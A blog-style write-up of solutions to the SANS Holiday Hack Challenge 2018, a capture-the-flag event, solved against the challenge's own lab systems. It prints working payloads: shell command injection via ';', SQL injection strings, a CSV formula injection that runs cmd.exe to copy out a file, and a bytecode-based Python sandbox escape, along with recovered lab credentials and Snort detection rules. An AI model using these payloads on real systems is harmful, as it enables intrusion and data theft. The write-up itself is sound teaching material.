Hackerman's Hacking Tutorials

The knowledge of anything, since all things have causes, is not acquired or complete unless it is known by its causes. - Avicenna

Jan 15, 2019 - 21 minute read - Comments - Writeup Crypto Reverse Engineering Holiday Hack

SANS Holiday Hack Challenge 2018 Solutions

SANS Holiday hack challenge 2018 was fun. It was also the first one I tried. I liked the talks and that the challenges were accessible to most skill levels. I mean RCE through the -0 bug in v8 is great and all but I want people to be able to have fun and learn new skills.

If being a security consultant has taught me anything, it's that no one has time to read your 100 page report. So here are some quick solutions. I will post my notes from the YouTube videos in different posts.

1. Orientation Challenge

The answer is Happy Trails.

Just Google keywords from the question and you get the answers.

  1. Wireless Adapter
  2. ATNAS
  3. Business Card
  4. Cranberry Pi
  5. Snowballs
  6. The Great Book

Essential Editor Skills

Need to exit Vim with q! or wq! or whatever.


2. Directory Browsing

The answer is John McClane.

Go to the CFP website: https://cfp.kringlecastle.com/cfp/cfp.html.

Navigate to https://cfp.kringlecastle.com/cfp/ to see the directory listing.

../
cfp.html                                           08-Dec-2018 13:19                3391
rejected-talks.csv                                 08-Dec-2018 13:19               30677

Download rejected-talks.csv and search for the name of the talk.

qmt3,2,8040424,200,FALSE,FALSE,John,McClane,Director of Security,
    Data Loss for Rainbow Teams: A Path in the Darkness,1,11

The Name Game

The answer is Scott.

Using option 2, it asks for a server address to ping. It's vulnerable to command injection. We can pass commands after ;.

For example, passing ;ls:

Validating data store for employee onboard information.
Enter address of server: ;ls
Usage: ping [-aAbBdDfhLnOqrRUvV] [-c count] [-i interval] [-I interface]
            [-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos]
            [-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option]
            [-w deadline] [-W timeout] [hop1 ...] destination
menu.ps1  onboard.db  runtoanswer
onboard.db: SQLite 3.x database

We can see the vulnerable code inside menu.ps1 for option 2.

cls
Write-Host "Validating data store for employee onboard information."
$server = Read-Host 'Enter address of server'
/bin/bash -c "/bin/ping -c 3 $server"
/bin/bash -c "/usr/bin/file onboard.db"
  1. Inject ;sqlite3 to be dropped into the sqlite prompt.
  2. .open onboard.db to open the db file
  3. .dump to get everything.
  4. Search for chan.
INSERT INTO "onboard" VALUES(84,'Scott','Chan','48 Colorado Way',NULL,
    'Los Angeles','90067','4017533509','scottmchan90067@gmail.com');

3. de Bruijn Sequences

Morcel says Welcome unprepared speaker!.

Door Passcode

Pass code is 0120.

Proxy the requests with Burp or open up the browser's console as you enter a passcode. Symbols correspond with 0123.

The passcode is sent to the server in a POST request like this:

If passcode was wrong, we get:

{"success":false,"message":"Incorrect guess."}

There are 256 possible combination. Four place holders with four options, four to the power of four. No need to do anything other than bruteforce. With Burp Intruder (even the free edition's throttled Intruder), it's only a few minutes. Or we can write our own script in Python Go.

Passcode is 0120 and good response is:

{"success":true,"resourceId":"undefined",
    "hash":"0273f6448d56b3aba69af76f99bdc741268244b7a187c18f855c6302ec93b703",
    "message":"Correct guess!"}

The hash appears to be an HMAC of resourceId. Can we trick the client into opening the door by supplying our own? If it's an HMAC, the secret must be in the browser. I did not look into it.

Door passcode bruteforce in Burp Intruder Door passcode bruteforce in Burp Intruder

Lethal ForensicELFication

The answer is Elinore.

Vim leaves files behind.

$ ls -alt
total 5460
-rw-r--r-- 1 elf  elf     5063 Dec 14 16:13 .viminfo

cat .viminfo

$ cat .viminfo 
# This viminfo file was generated by Vim 8.0.
# You may edit it if you're careful!
# Viminfo version
|1,4
# Value of 'encoding' when this file was written
*encoding=utf-8
# hlsearch on (H) or off (h):
~h
# Last Substitute Search Pattern:
~MSle0~&Elinore
# Last Substitute String:
$NEVERMORE
# Command Line History (newest to oldest):
:wq
|2,0,1536607231,,"wq"
:%s/Elinore/NEVERMORE/g
|2,0,1536607217,,"%s/Elinore/NEVERMORE/g"
:r .secrets/her/poem.txt
|2,0,1536607201,,"r .secrets/her/poem.txt"
...

File containing the poem is at /.secrets/her/poem.txt. But the answer is obvious from the substitution. It's Elinore.


4. Data Repo Analysis

The answer is Yippee-ki-yay.

git repo is at https://git.kringlecastle.com/Upatree/santas_castle_automation.

Look at the commits in the web interface. There's a commit named removing accidental commit.

A file was removed that had the password:

Hopefully this is the last time we have to change our password again until next Christmas. 
Password = 'Yippee-ki-yay'
Change ID = '9ed54617547cfca783e0f81f8dc5c927e3d1e3'

The password allows us to open another file in the repository:

  • santas_castle_automation/schematics/ventilation_diagram.zip:

This file contains the plans for Google Ventilation near the Google booth in the castle lobby. Using the map allows you to bypass a number of challenges and directly go to Santa's secret room.

Google ventilation floor 1 Google ventilation floor 1 Google ventilation floor 2 Google ventilation floor 2

Stall Mucking Report

Answer is

  • smbclient //localhost/report-upload/ directreindeerflatterystable -U report-upload -c "put report.txt"

The challenge hint talks about credentials in commands. We can see the complete output of ps with ps auxww. Remember that ps aux has truncated output.

$ ps auxww
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root        10  0.0  0.0  49532  3212 pts/0    S    19:38   0:00 sudo -u manager /home/man
ager/samba-wrapper.sh --verbosity=none --no-check-certificate --extraneous-command-argumen
t --do-not-run-as-tyler --accept-sage-advice -a 42 -d~ --ignore-sw-holiday-special --suppr
ess --suppress //localhost/report-upload/ directreindeerflatterystable -U report-upload

samba-wrapper.sh appears to be a wrapper for smbclient. We can figure out the parameters from the command above. We need to upload the report as user report-upload with password directreindeerflatterystable (apparently the equivalent of XKCD correct horse battery staple).

Command is:

smbclient //localhost/report-upload/ directreindeerflatterystable -U report-upload -c "put report.txt"


5. AD Privilege Discovery

The answer is LDUBEJ00320@AD.KRINGLECASTLE.COM.

The image needs to be set to 64-bit Ubuntu or Debian to work on VirtualBox (it's set to 32-bit after importing the ova).

The VM image is at:

A shortcut to the tool Bloodhound is on the desktop. There's a built-in query for getting to domain admin from Kerberoastable accounts.

There are three accounts but two need RDP which is mentioned in the hints.

Bloodhound Builtin Query Bloodhound Builtin Query

CURLing Master

Answer is:

  • curl -d "status=on" -X POST http://localhost:8080/index.php --http2-prior-knowledge

Supposedly the trigger to start the "Candy Striper" is an "arcane HTTP/2 call."

Partial contents of /etc/nginx/nginx.conf show the web server only has HTTP/2 enabled.

$ cat /etc/nginx/nginx.conf 
...
http {
...
    server {
    # love using the new stuff! -Bushy
            listen                  8080 http2;
            # server_name           localhost 127.0.0.1;
            root /var/www/html;
}

Looking at command history (use the up arrow key), we get some commands including this:

  • curl --http2-prior-knowledge http://localhost:8080/index.php

Running the command returns:

<html>
 <head>
  <title>Candy Striper Turner-On'er</title>
 </head>
 <body>
 <p>To turn the machine on, simply POST to this URL with parameter "status=on"
 </body>
</html>

We can send this:

$ curl -d "status=on" -X POST http://localhost:8080/index.php --http2-prior-knowledge
<html>
 <head>
  <title>Candy Striper Turner-On'er</title>
 </head>
 <body>
    <p>To turn the machine on, simply POST to this URL with parameter "status=on"
    <!-- removed -->
    <p>Congratulations! You've won and have successfully completed this challenge.
    <p>POSTing data in HTTP/2.0.
 </body>
</html>

6. Badge Manipulation

The answer is 19880715.

scan-o-matic

To get into the room we need to upload a QR code with the payload to do SQLi.

The request looks like:

POST /upload HTTP/1.1
Host: scanomatic.kringlecastle.com

b64barcode=[payload]

If the barcode is not properly formatted:

HTTP/1.1 200 OK
Server: nginx/1.10.3
Date: Sun, 30 Dec 2018 04:32:50 GMT
Content-Type: application/json
Content-Length: 151
Connection: close

{"data":"EXCEPTION AT (LINE 135 
    \"temp_file.write(base64.b64decode(request.form['b64barcode'].split(',')[-1]))\"):
    Incorrect padding","request":false}

Now we if upload a QRcode with payload hello' (note the trailing '), we get this response:

HTTP/1.1 200 OK
Server: nginx/1.10.3
Date: Sun, 30 Dec 2018 04:32:28 GMT
Content-Type: application/json
Content-Length: 363
Connection: close

{"data":"EXCEPTION AT (LINE 96 \"user_info = 
query(\"SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = '{}' LIMIT 1\".format(uid))\"):
(1064, u\"You have an error in your SQL syntax; check the manual that corresponds
to your MariaDB server version for the right syntax to use near ''hello'' LIMIT 1' at line 1\")","request":false}

We can learn a few things:

  • The server is running MariaDB.
  • Original SQL query is
    • SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = '{}' LIMIT 1"
  • Payload is injected in the value of uid.
  • If the format of the query is correct, we get these responses
    • {"data":"Authorized User Account Has Been Disabled!","request":false}
    • {"data":"No Authorized User Account Found!","request":false} I got this for hello' or '1'='1 -- ;.
  • Remember to pass a whitespace and a char after the comment for MariaDB to count it as a comment. The parser might not count it as a comment until it sees another character after it.

Payload

Try different payloads:

  • 3.png: hello' OR '1'='1 -- ;
  • 4.png: hello' OR 1=1 -- ;
  • 5.png: hello' AND enabled = 1 OR 1=1 -- ;
  • 6.png: hello' AND enabled = true OR 1=1 -- ; (1 and 0 are aliases for true and false in MariaDB)

The correct payload is ' OR enabled = 1 -- ; because we want an account that is both enabled and authorized.

  • SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = '' OR enabled = 1 -- ; ' LIMIT 1

Response is

{"data":"User Access Granted - Control number 19880715","request":true,"success":
{"hash":"ff60055a84873cd7d75ce86cfaebd971ab90c86ff72d976ede0f5f04795e99eb","resourceId":"false"}}

The answer is 19880715. And we are in Santa's secret room.

Yule Log Analysis

The answer is minty.candycane.

Someone did a password spray and then logged into one account. Find that account based on logs.

There's an evtx file and a python script to dump it as XML.

  • python evtx_dump.py ho-ho-no.evtx > dumped

And then I ran cat dumped and copied everything to a local text file on my machine.

To isolate password sprays, search for 4625 (event ID for unsuccessful logon). See the nice section in the minimap? That is out password spray.

Searching for 4625 in VS Code Searching for 4625 in VS Code

Copy/paste that part to a new file and look for successful logons (4624). There multiple logons in the password spray logs. Which one is the attacker?

The attacker did the password spray from one IP (or multiple IPs), so logon must be from one of those IPs. All password spray attempts came from 172.31.254.101. So we search for a successful logon (4624) from that IP and we find minty.candycane.

Summary of log entry:

<Event
	xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
	<System>
		<Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-a5ba-3e3b0328c30d}"></Provider>
		<TimeCreated SystemTime="2018-09-10 13:05:03.702278"></TimeCreated>
		<EventRecordID>240171</EventRecordID>
		<Correlation ActivityID="{71a9b66f-4900-0001-a8b6-a9710049d401}" RelatedActivityID=""></Correlation>
		<Computer>WIN-KCON-EXCH16.EM.KRINGLECON.COM</Computer>
		<Security UserID=""></Security>
	</System>
	<EventData>
		<Data Name="SubjectUserName">WIN-KCON-EXCH16$</Data>
		<Data Name="SubjectLogonId">0x00000000000003e7</Data>
		<Data Name="TargetUserSid">S-1-5-21-25059752-1411454016-2901770228-1156</Data>
		<Data Name="TargetUserName">minty.candycane</Data>
		<Data Name="TargetDomainName">EM.KRINGLECON</Data>
		<Data Name="WorkstationName">WIN-KCON-EXCH16</Data>
		<Data Name="LogonGuid">{d1a830e3-d804-588d-aea1-48b8610c3cc1}</Data>
		<Data Name="ProcessName">C:\Windows\System32\inetsrv\w3wp.exe</Data>
		<Data Name="IpAddress">172.31.254.101</Data>
		<Data Name="IpPort">38283</Data>
	</EventData>
</Event>

7. HR Incident Response

The answer is Fancy Beaver.

Careers Website

CSV payload is:

  • =CMD|'/c copy C:\candidate_evaluation.docx C:\careerportal\resources\public\myfile.txt'!A1

We need to do CSV injection on https://careers.kringlecastle.com/ and access a file.

To exfiltrate the file, we need to copy it to a publicly accessible URL. We do not need to use our own server, the 404 page gives us the location of a publicly accessible directory along with its internal address.

Publicly accessible file served from:
C:\careerportal\resources\public\ not found......

Try:
https://careers.kringlecastle.com/public/'file name you are looking for'

The following csv file works:

111,=CMD|'/c copy C:\candidate_evaluation.docx C:\careerportal\resources\public\myfile.txt'!A1,33
55,44,77

Now we can access the file at https://careers.kringlecastle.com/public/myfile.txt, change the extension and view it.

The answer is Fancy Beaver.

Dev Ops Fail

The answer is twinkletwinkletwinkle.

Similar to another challenge, credentials have been committed to git and then overwritten. This time we do not have a nice web interface to view the commits and must use the command line.

kcconfmgmt is a git repo. Either grep -ir password or do git log -10 to see the last 10 commit messages.

Two of the commit messages are:

commit 60a2ffea7520ee980a5fc60177ff4d0633f2516b
Author: Sparkle Redberry <sredberry@kringlecon.com>
Date:   Thu Nov 8 21:11:03 2018 -0500
    Per @tcoalbox admonishment, removed username/password from config.js, default settings
 in config.js.def need to be updated before use

commit b2376f4a93ca1889ba7d947c2d14be9a5d138802
Author: Sparkle Redberry <sredberry@kringlecon.com>
Date:   Thu Nov 8 13:25:32 2018 -0500
    Add passport module

So the credentials where in config.js. It has been replaced by config.js.def which is clean:

elf@03a47cb7373b:~/kcconfmgmt/server/config$ cat config.js.def 
// Database URL
module.exports = {
    'url' : 'mongodb://username:password@127.0.0.1:27017/node-api'
};

We can just revert to the commit BEFORE THE OVERWRITE and look inside that file:

  • git checkout b2376f4a

config.js is now available:

elf@03a47cb7373b:~/kcconfmgmt/server/config$ cat config.js 
// Database URL
module.exports = {
    'url' : 'mongodb://sredberry:twinkletwinkletwinkle@127.0.0.1:27017/node-api'
};

The answer is twinkletwinkletwinkle.


8. Network Traffic Forensics

The answer is Mary Had a Little Lamb.

Packet capture website is at https://packalyzer.kringlecastle.com/.

We get hints after completing the Python challenge (solution is below):

  • Packalyzer was rushed and deployed with development code sitting in the web root.
  • Look at HTML comments left behind to grab the server-side source code.
  • There is suspicious-looking development code using environment variables to store SSL keys and open up directories.
  • These errors can be used to compromise SSL on the website and steal logins.
  • Manipulating values in the URL gave back weird and descriptive errors.
  • The HTTP/2 talk has hints. The talk talks about decrypting SSL using Wireshark using extracted keys.

Make an account and login. Then we can sniff traffic and upload pcaps for analysis. In the Captures tab we can download/reanalyze/delete older pcaps.

Comments in code show the the name of source file:

  • //File upload Function. All extensions and sizes are validated server-side in app.js

Web root can be discovered by looking at asset URLs. They are all under pub. So app.js is at:

Weird and descriptive error looks like this:

app.js Analysis

Look at load_envs, they are opening up directories based on names of environmental variables. It was a common mistake to think they are based on values but they are just grabbing keys (Object.keys).

function load_envs() {
  var dirs = []
  var env_keys = Object.keys(process.env)
  for (var i=0; i < env_keys.length; i++) {
    if (typeof process.env[env_keys[i]] === "string" ) {
      dirs.push(( "/"+env_keys[i].toLowerCase()+'/*') )
    }
  }
  return uniqueArray(dirs)
}

And they are used to open directories (remember we are in dev_mode):

if (dev_mode) {
    //Can set env variable to open up directories during dev
    const env_dirs = load_envs();
} else {
    const env_dirs = ['/pub/','/uploads/'];
}

SSLKEYLOGFILE

We can go to:

And see the name of the SSLKEYLOGFILE environmental variable:

  • Error: ENOENT: no such file or directory, open '/opt/http2packalyzer_clientrandom_ssl.log/'

But that is not the file name. It is, but not all of it. Again it was a common mistake on Discord to think http2packalyzer_clientrandom_ssl.log/ is the file name. The file is formatted neatly by separating different words with underscores BUT in the beginning, two words are mashed together unceremonially. http2 is part of the error message as we have seen before. The value is:

  • packalyzer_clientrandom_ssl.log

The complete path to the log file is inside app.js:

const dev_mode = true;
const key_log_path = ( !dev_mode || __dirname + process.env.DEV + process.env.SSLKEYLOGFILE )
const options = {
  key: fs.readFileSync(__dirname + '/keys/server.key'),
  cert: fs.readFileSync(__dirname + '/keys/server.crt'),
  http2: {
    protocol: 'h2',         // HTTP2 only. NOT HTTP1 or HTTP1.1
    protocols: [ 'h2' ],
  },
  keylog : key_log_path     //used for dev mode to view traffic. Stores a few minutes worth at a time

Let's break down __dirname + process.env.DEV + process.env.SSLKEYLOGFILE.

Meaning the path is:

We see a bunch of keys. Remembering the associated Kringlecon talk, it seems they belong to pcaps that are generated by sniffing the traffic for 20 seconds inside the application. The trick is to sniff traffic and then quickly (well within a couple of minutes) get the keys. Now we can decrypt the traffic in Wireshark.

Inside Wireshark use the filter http2.data.data.

There does not seem to be a file there but there are multiple username/passwords there. Let's see if we can login as other people and sniff their traffic?

I tried doing another capture and it was the same. These credentials appear in all sniff captures:

{"username": "pepper", "password": "Shiz-Bamer_wabl182"}

{"username": "bushy", "password": "Floppity_Floopy-flab19283"}

{"username": "alabaster", "password": "Packer-p@re-turntable192"}

We can login as alabaster. There's something in his captures, download it and view it in Wireshark. This one is not SSL traffic, we can just read the file. Note the text of the email, it has a hint for later challenges.

Hey alabaster,

Santa said you needed help understanding musical notes for accessing the vault. He said your favorite key was D. Anyways, the following attachment should give you all the information you need about transposing music.

There's a base64 encoded attachment in the TCP stream, we can copy it to a file and decode it.

Base64 encode decode w/o powershell:

$ certutil.exe -decode encoded-file.txt decoded-file
Input Length = 132161
Output Length = 97831
CertUtil: -decode command completed successfully.

Open it up in a hex editor, it's a PDF (see the header). Seems like it's about the Piano door lock.

Name of the song is the answer: Mary Had a Little Lamb.

Python Escape from LA

The answer is use the methods in the talk to generate bytecode. See solution below.

We're inside a Python interpreter and need to run ./i_escaped. The talk has the answer.

First, let's see what is banned out of the four keywords from the talk. Only eval is allowed.

>>> os = eval('__im' + 'port__("os")') 
>>> os.system("ls")
Use of the command os.system is prohibited for this question.
  • os.system is banned.
  • subprocess is also banned.
  • popen is banned. seems like they are filtering open which catches popen too.
>>> subprocess.popen
Use of the command open is prohibited for this question.

Let's find the Python version. make_object from the talk must be used in a similar version.

We are running in 3.5.2:

>>> sys = eval('__im' + 'port__("sys")') 
>>> sys.version
'3.5.2 (default, Nov 12 2018, 13:43:14) \n[GCC 5.4.0 20160609]'

I had a VM with 3.5.2 so I used this:

def bypass():
    import os
    print(os.system("./i_escaped"))

To get:

def a():
   return

a.__code__ = type(a.__code__)(0,0,1,3,67,b'd\x01\x00d\x00\x00l\x00\x00}\x00\x00t\x01\x00|\x00\x00j\x02\x00d\x02\x00\x83\x01\x00\x83\x01\x00\x01d\x00\x00S',(None, 0, './i_escaped'),('os', 'print', 'system'),('os',),'<stdin>','bypass',1,b'\x00\x01\x0c\x01')

And it works:

Loading, please wait......
 
  ____        _   _                      
 |  _ \ _   _| |_| |__   ___  _ __       
 | |_) | | | | __| '_ \ / _ \| '_ \      
 |  __/| |_| | |_| | | | (_) | | | |     
 |_|___ \__, |\__|_| |_|\___/|_| |_| _ _ 
 | ____||___/___ __ _ _ __   ___  __| | |
 |  _| / __|/ __/ _` | '_ \ / _ \/ _` | |
 | |___\__ \ (_| (_| | |_) |  __/ (_| |_|
 |_____|___/\___\__,_| .__/ \___|\__,_(_)
                     |_|                             
That's some fancy Python hacking -
You have sent that lizard packing!
-SugarPlum Mary
            
You escaped! Congratulations!
0

9. Ransomware Recovery

Challenge with multiple sections.

The Sleighball

The answer is solution is below.

The article in the hints section, using gdb to call random functions shows how to use GDB to directly jump to winnerwinner. I changed the drawing number because I think it's a better way.

We need to win the lottery:

$ ./sleighbell-lotto 

The winning ticket is number 1225.
Rolling the tumblers to see what number you'll draw...

You drew ticket number 4965!

Sorry - better luck next year!

The winning number seems to be 1225 all the time.

We can dump everything for offline analysis, but it's not needed:

  • objdump -M intel -D sleighbell-lotto > dump1

objdump can dump the symbol table and shows different functions. One is winnerwinner. We can jump directly to it and win but I'd rather go to main.

$ objdump --syms sleighbell-lotto 
sleighbell-lotto:     file format elf64-x86-64
SYMBOL TABLE:
// removed random symbols
0000000000000000       F *UND*  0000000000000000              printf@@GLIBC_2.2.5
0000000000000000       F *UND*  0000000000000000              memset@@GLIBC_2.2.5
0000000000000000       F *UND*  0000000000000000              puts@@GLIBC_2.2.5
0000000000000000       F *UND*  0000000000000000              exit@@GLIBC_2.2.5
0000000000208060 g     O .data  0000000000000008              winnermsg
0000000000000fd7 g     F .text  00000000000004e0              winnerwinner
0000000000208070 g     O .bss   0000000000000008              decoded_data
0000000000000000       F *UND*  0000000000000000              srand@@GLIBC_2.2.5
00000000000014b7 g     F .text  0000000000000013              sorry
0000000000000000       F *UND*  0000000000000000              rand@@GLIBC_2.2.5
0000000000000000       F *UND*  0000000000000000              time@@GLIBC_2.2.5
00000000000014ca g     F .text  00000000000000e1              main

Run it in GDB and break main and set disassembly-flavor intel (because AT&T syntax sucks).

Then disass on main to see where we are and see the check. I went through main and analyzed everything (side note: analysis was one of the banned words in the chat). See the analysis below but you can skip it:

Important part is here:

; removed
; drawn number is manipulated and stored here
0x000055555555553c <+114>:   mov    DWORD PTR [rbp-0x4],eax
; removed
; later it's compared to 1225 or 0x04C9
0x0000555555555582 <+184>:   cmp    DWORD PTR [rbp-0x4],0x4c9
; if not equal, jump to sorry if not continue
0x0000555555555589 <+191>:   jne    0x555555555597 <main+205>
0x000055555555558b <+193>:   mov    eax,0x0
; if equal, continuing execution reaches winnerwinner
0x0000555555555590 <+198>:   call   0x555555554fd7 <winnerwinner>
0x0000555555555595 <+203>:   jmp    0x5555555555a1 <main+215>
0x0000555555555597 <+205>:   mov    eax,0x0
; jump here if numbers are not equal
0x000055555555559c <+210>:   call   0x5555555554b7 <sorry>
0x00005555555555a1 <+215>:   mov    edi,0x0
0x00005555555555a6 <+220>:   call   0x555555554920 <exit@plt>

There are multiple ways to do this:

  • Set a breakpoint on mov DWORD PTR [rbp-0x4],eax and modify the value of eax to 0x04C9.
  • Set a breakpoint on jne 0x555555555597 <main+205> and change the ZF.
  • And more.

I did the first one:

break *0x000055555555554c
c # continue
set $rax = 0x4c9
c # continue

More Analysis

Something is pushed to rdi and then getenv is called. We can break on the call getenv line and read the contents of rdi.

0x00005555555554d9 <+15>:    call   0x555555554970 <getenv@plt>
0x00005555555554de <+20>:    test   rax,rax
0x00005555555554e1 <+23>:    jne    0x5555555554f9 <main+47>

Let's see what it does:

(gdb) x/s $rdi
0x55555555abaf: "RESOURCE_ID"

So it's reading RESOURCE_ID from environmental variables and if it's not zero (see test rax rax) it jumps to main+47.

si steps in and ni steps over for assembly instructions. In this case the result is:

(gdb) x/s $rax
0x7fffffffe951: "7a29a437-8523-4513-828e-53394fa647a4"

Might be a check to see if it's running in a docker container?

Next edi is set to zero and then time is called. Which gets the time.

0x00005555555554fe <+52>:    call   0x5555555549e0 <time@plt>
0x0000555555555503 <+57>:    mov    edi,eax

After the function call rax has the current time. View them with info registers:

  • rax 0x5c28c70b 1546176267
  • edi now has the time.

srand(time) calls srand and seeds it with the current time.

Before puts we can see rdi and see it always prints the following text.

0x0000555555555505 <+59>:    call   0x5555555549a0 <srand@plt>
0x000055555555550a <+64>:    lea    rdi,[rip+0x583f]        # 0x55555555ad50

Finally, the intro text is printed. Meaning the winning ticket is always the same. Maybe not, but the text is always the same.

0x0000555555555511 <+71>:    call   0x555555554910 <puts@plt>
0x0000555555555516 <+76>:    mov    edi,0x1

(gdb) x/s $rdi
0x55555555ad50: "\nThe winning ticket is number 1225.\nRolling the tumblers to see what nu
mber you'll draw...\n"

Then it sleeps for a second (see sleep).

Then calls rand and then does a bunch of stuff to it to generate our number:

0x0000555555555520 <+86>:    call   0x5555555549c0 <rand@plt>
0x0000555555555525 <+91>:    mov    ecx,eax
0x0000555555555527 <+93>:    mov    edx,0x68db8bad
0x000055555555552c <+98>:    mov    eax,ecx
0x000055555555552e <+100>:   imul   edx
0x0000555555555530 <+102>:   sar    edx,0xc
0x0000555555555533 <+105>:   mov    eax,ecx
0x0000555555555535 <+107>:   sar    eax,0x1f
0x0000555555555538 <+110>:   sub    edx,eax
0x000055555555553a <+112>:   mov    eax,edx
0x000055555555553c <+114>:   mov    DWORD PTR [rbp-0x4],eax

Long story short, the result of calculation ends up in eax and stored in memory.

0x000055555555554c <+130>:   mov    DWORD PTR [rbp-0x4],eax

Set a breakpoint here and change the value to 0x04C9 and we're done.

(gdb) set $rax = 0x4c9
(gdb) c
Continuing.
You drew ticket number 1225!

// removed ASCII art

With gdb you fixed the race.
The other elves we did out-pace.
And now they'll see.
They'll all watch me.
I'll hang the bells on Santa's sleigh!
Congratulations! You've won, and have successfully completed this challenge.

9.1 Catch the Malware

The answer contains two rules. For both outgoing and incoming DNS traffic with a specific string in them:

alert udp any any -> any 53 (msg:"malware DNS request"; sid:10000001; content:"77616E6E61636F6F6B69652E6D696E2E707331";)
alert udp any 53 -> any any (msg:"malware DNS response";sid:10000002; content:"77616E6E61636F6F6B69652E6D696E2E707331";)
  1. Login to the web interface at http://snortsensor1.kringlecastle.com/ and download some pcaps.
  2. Look inside them and see the DNS requests.
     77616E6E61636F6F6B69652E6D696E2E707331.rahbegunsr.net
     77616E6E61636F6F6B69652E6D696E2E707331.baehnrusrg.com
     12.77616E6E61636F6F6B69652E6D696E2E707331.rahbegunsr.net
     16.77616E6E61636F6F6B69652E6D696E2E707331.baehnrusrg.com
     1.77616E6E61636F6F6B69652E6D696E2E707331.hngaerrbus.org
    
  3. They all share the same string:
    • 77616E6E61636F6F6B69652E6D696E2E707331

Create Snort rules for both sides of traffic as seen above:

[+] Congratulation! Snort is alerting on all ransomware and only the ransomware! 

9.2 Identify the Domain

The answer is erohetfanu.com.

We have already seen the domain in Wireshark, it's erohetfanu.com.

Dropper Analysis

Update 2022-02-07: Windows Defender keeps deleting this file because it detects a trojan. This is likely because of this dropper code. I am tired of reverting this. So I am gonna remove parts of this section to figure out which part is the culprit. The cleaned up PowerShell script is on GitHub.

See the complete blog post here: https://gist.github.com/parsiya/a36311f9effc44024e8ee0d1d49962d1

There's a zip file with a docm in it. Password is elves.

// removed

Looking at the PowerShell script we can see it's using AES-CBC. This gives us the file encryption key:

  • FBCFC121915D99CC20A3D3D5D84F8308

After decrypting the file, we can see it's a SQLite database file. It starts with SQLite format 3. Opening it gives us the password for the vault and some other places. Alabaster is an anon.

  • The password for the vault is ED#ED#EED#EF#G#F#G#ABA#BA#B.

10. Who Is Behind It All?

The answer is Santa. He wanted us to help defend the castle so he made up the challenges. Hans was pretending to be the villain and the toy soldiers are elves in disguise.

"Based on your victory… next year, I'm going to ask for your help in defending my whole operation from evil bad guys."

I guess next year's challenge is mostly blue team stuff? Sounds fun.

The piano door is based on notes. We can use the PDF from challenge 8 to figure it out. It's the one that Holly sent to Alabaster. His original password does not work on the door because it has been modified based on the instructions.

We know his favorite key is D (from the text of Holly's email from challenge 8). We need to go from E to D which is one step or two keys to the left. So we will use the PDF to do it.

The door code is:

  • D C# D C# D D C# D E F# E F# G A G# A G# A

Conclusion

This was fun, hope you enjoyed it as much as I did.